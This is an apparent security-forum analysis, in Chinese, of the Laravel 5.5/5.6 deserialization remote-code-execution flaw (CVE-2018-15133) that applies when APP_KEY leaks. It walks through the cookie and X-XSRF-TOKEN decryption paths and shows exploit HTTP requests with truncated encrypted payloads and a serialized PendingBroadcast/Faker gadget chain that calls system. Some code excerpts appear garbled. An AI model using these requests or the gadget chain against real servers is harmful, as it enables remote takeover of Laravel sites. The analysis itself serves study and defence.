

本文将记录在 APP_KEY 泄露情况下的 Laravel RCE 漏洞。该漏洞可以分别在两个地方触发，一个是直接添加在 cookie 字段，例如：Cookie: ATTACK=payload；另一处是在 HTTP Header 处添加 X-XSRF-TOKEN 字段，例如：X-XSRF-TOKEN: payload。漏洞影响版本：5.5.x<=5.5.40、5.6.x<=5.6.29。

环境搭建

这里我的测试环境为 Debian9+apache+PHP7.2+Laravel5.6.29。

```
➔ html composer create-project laravel/laravel laravel5629 --prefer-dist "5.6.0"
➔ html cd laravel5629
➔ laravel5629 sed -i -e 's/5.6.\*/5.6.29/g' composer.json
➔ laravel5629 composer update
➔ laravel5629 ./artisan key:generate
➔ laravel5629 echo "Route::post('/', function() {return view('welcome');});" >> ./routes/web.php
➔ laravel5629 ./artisan serve --host=0.0.0.0
```

漏洞分析

当接收到 POST 数据时，程序在获取 Illuminate\Http\Response 类对象时，会依次调用如下 10 个类的 handle 方法。

```
App\Http\Middleware\TrustProxies
App\Http\Middleware\CheckForMaintenanceMode
Illuminate\Foundation\Http\Middleware\ValidatePostSize
App\Http\Middleware\TrimStrings
Illuminate\Foundation\Http\Middleware\ConvertEmptyStringsToNull
App\Http\Middleware\EncryptCookies
Illuminate\Cookie\Middleware\AddQueuedCookiesToResponse
Illuminate\Session\Middleware\StartSession
Illuminate\View\Middleware\ShareErrorsFromSession
App\Http\Middleware\VerifyCsrfToken
```

而在 App\Http\Middleware\EncryptCookies 和 App\Http\Middleware\VerifyCsrfToken 两个类的 handle 方法中，存在对请求值的合法性校验，并对通过校验的值进行反序列化操作。攻击者可以利用网站泄露的 APP_KEY，结合公开的 Laravel 反序列化 POP 链进行 RCE。下面，我们来分别看下这两个类的具体代码。

通过Cookie触发RCE

通过 Cookie 触发 RCE 的 EXP 如下（这里payload中执行的命令是 curl 127.0.0.1:8888）：

```
POST / HTTP/1.1
Host: 0.0.0.0:8000
Cookie: XDEBUG_SESSION=PHPSTORM; ATTACK=eyJpdii6ImRhSTdpRkhWTFowVHNtNDMyZW5wWlE9PSIsInZhbnVlIjoierRHRRRXpRNUhkeG8rQ0s0a2lqRmpzUH
Content-Type: application/x-www-form-urlencoded
Connection: close
Content-Length: 0
```

Laravel 框架在获取 Illuminate\Http\Response 类对象时，会循环对 Cookie 的值进行解密以验证其合法性。在解密的时候会用到 APP_KEY，如果解密顺利，就会将解密后的值进行反序列化（如下图149行代码）。我们可以看到下图的调试信息中，\$decrypted 变量已经反序列化成攻击者精心构造的类对象了。继续执行下去，就会触发 RCE。

```
vendor/laravel/framework/src/Illuminate/Cookie/Middleware/EncryptCookies.php
12 class EncryptCookies
13 {
57     public function handle($request, Closure $next)
58     {
59         return $this->encrypt($next($this->decrypt($request)));
60     }
68     protected function decrypt(Request $request)
69     {
70         foreach ($request->cookies as $key => $cookie) {
71             if ($this->isDisabled($key)) {...}
75             try {
76                 $request->cookies->set($key, $this->decryptCookie($cookie));
77             } catch (DecryptException $e) {
78                 $request->cookies->set($key, null);
79             }
80         }
82         return $request;
83     }
91     protected function decryptCookie($cookie)
92     {
93         return is_array($cookie)
94             ? $this->decryptArray($cookie)
95             : $this->encrypter->decrypt($cookie);
96     }
164 }

vendor/laravel/framework/src/Illuminate/Encryption/Encrypter.php
10 class Encrypter implements EncrypterContract
11 {
132     public function decrypt($payload, $unserialize = true) $payload: {iv => "daI7iFHV LZ0Tsm432enpZQ==", value => "DtQEzQ5
133     {
134         $payload = $this->getJsonPayload($payload);
136         $iv = base64_decode($payload['iv']); $iv: "u0;0Q0-0n7000e"
141         $decrypted = \openssl_decrypt($payload['value'], $this->cipher, $this->key, 0, $iv $iv: "u0;0Q0-0n7000e" $payload: {iv => "daI7iFHV LZ0Ts
142         );
143     }
149     return $unserialize ? unserialize($decrypted) : $decrypted;
150 }
251 }
```

循环对Cookie进行解密

成功反序列化出任意类对象

Variables

- \$decrypted = "O:40:"Illuminate\Broadcasting\PendingBroadcast":2:{s:9:"*events";O:15:"Faker\Generator":1:{s:13:"*formatters";a:1:{s:8:"dispatch";s:6:"system";}}s:8:"event";s:13:"..."
- \$iv = "u0;0Q0-0n7000e"
- \$payload = (array) [3]
- \$unserialize = true

先知社区

通过HTTP Header触发RCE

通过 HTTP Header 触发 RCE 的 EXP 如下（这里payload中执行的命令是 curl 127.0.0.1:8888 ）：

```
POST / HTTP/1.1
Host: 0.0.0.0:8000
Cookie: XDEBUG_SESSION=PHPSTORM;
X-XSRF-TOKEN: eyJpdiiI6ImRhSTdpRkhWTFowVHNtNDMyZW5wLE9PSIsInZhbnVlIjoiriHRRRXPxRNuhkeG8rQ0s0a2lqRmpzUHNkZ0lBaFpsVjlvYkluZmtwOVpR
Content-Type: application/x-www-form-urlencoded
Connection: close
Content-Length: 0
```

Laravel 框架在获取 Illuminate\Http\Response 类对象时，还会获取 CSRF token 。如果没有获取到 CSRF token ，就会转而获取 X-XSRF-TOKEN ，并在校验通过后对其进行反序列化操作。其校验使用的解密代码和上面一致，都是通过 Illuminate\Encryption\Encrypter 类的 decrypt 方法完成的，这里就不赘述。

```

vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/VerifyCsrfToken.php
12 class VerifyCsrfToken
13 {
59     public function handle($request, Closure $next) $request: {trustedProxies => [0], trustedHostPatterns => [0], trusted
60     {
61         if (
62             $this->isReading($request) ||
63             $this->runningUnitTests() ||
64             $this->inExceptArray($request) ||
65             $this->tokensMatch($request) $request: {trustedProxies => [0], trustedHostPatterns => [0], trustedHosts => [0]
66         ) {
67             return $this->addCookieToResponse($request, $next($request));
68         }
71     }
121     protected function tokensMatch($request) $request: {trustedProxies => [0], trustedHostPatterns => [0], trustedHosts => [0]
122     {
123         $token = $this->getTokenFromRequest($request); $request: {trustedProxies => [0], trustedHostPatterns => [0], trustedHosts => [0]
128     }
136     protected function getTokenFromRequest($request) $request: {trustedProxies => [0], trustedHostPatterns => [0], trustedHosts => [0]
137     {
138         $token = $request->input('_token') ?: $request->header('X-CSRF-TOKEN'); $token: null
140         if (! $token && $header = $request->header('X-XSRF-TOKEN')) { $request: {trustedProxies => [0], trustedHostPatterns => [0], trustedHosts => [0]
141             $token = $this->encrypter->decrypt($header); $token: null encrypter: Illuminate\Encryption\Encrypter
142         }
144         return $token;
145     }
167 }

vendor/laravel/framework/src/Illuminate/Encryption/Encrypter.php
10 class Encrypter implements EncrypterContract
11 {
132     public function decrypt($payload, $unserialize = true) $payload: {iv => "daI7iFHV LZ0Tsm432enpZQ==", value => "DtQEzQ5
133     {
134         $payload = $this->getJsonPayload($payload);
136         $iv = base64_decode($payload['iv']); $iv: "u0;0Q0-0n7000e"
141         $decrypted = \openssl_decrypt($decrypted: "0:40:"Illuminate\Broadcasting\PendingBroadcast":2:{s:9:"events";0:
142             $payload['value'], $this->cipher, $this->key, 0, $iv $iv: "u0;0Q0-0n7000e" $payload: {iv => "daI7iFHV LZ0Ts
143         );
149         return $unserialize ? unserialize($decrypted) : $decrypted; 反序列化任意类对象
150     }
251 }

```

获取HTTP Header的
X-XSRF-TOKEN字段值

反序列化任意类对象

先知社区

EXP构造

现在我们看看如何构造 EXP，其实加密函数也在 Illuminate\Encryption\Encrypter 类中，其具体代码在 encrypt 方法中。


```
EncryptCookies.php (Nar/www/html/laravel5629/vendor/laravel/framework/src/Illuminate/Cookie/Middleware)
protected function decryptCookie($cookie)
{
    return is_array($cookie)
        ? $this->decryptArray($cookie)
        : $this->encrypter->decrypt($cookie);
}

public function isDisabled($name)
{
    return in_array($name, $this->except);
}

/**
 * Create a new CookieGuard instance.
 *
 * @param \Illuminate\Contracts\Encryption\Encrypter $encrypter
 * @return void
 */
public function __construct(EncrypterContract $encrypter)
{
    //
}

/**
 * Indicates if cookies should be serialized.
 *
 * @var bool
 */
protected static $serialize = false;

public function decrypt($payload, $unserialize = true)
{
    //
}
```

参考

[CVE-2018-15133](#)

[Laravel5.6.30升级公告](#)

[Laravel Remote Code Execution when APP_KEY is leaked PoC \(CVE-2018-15133\)](#)

点击收藏 | 1 关注 | 1

[上一篇：Ogeek决赛python web部分](#) [下一篇：windows样本高级静态分析之识...](#)

1. 1 条回复



三顿 2019-10-18 17:49:37

脚本删除是什么鬼？

1 回复Ta

[登录](#) 后跟帖

先知社区

[现在登录](#)

[技术文章](#)

[社区小黑板](#)

[目录](#)

[RSS](#) [关于社区](#) [友情链接](#) [社区小黑板](#)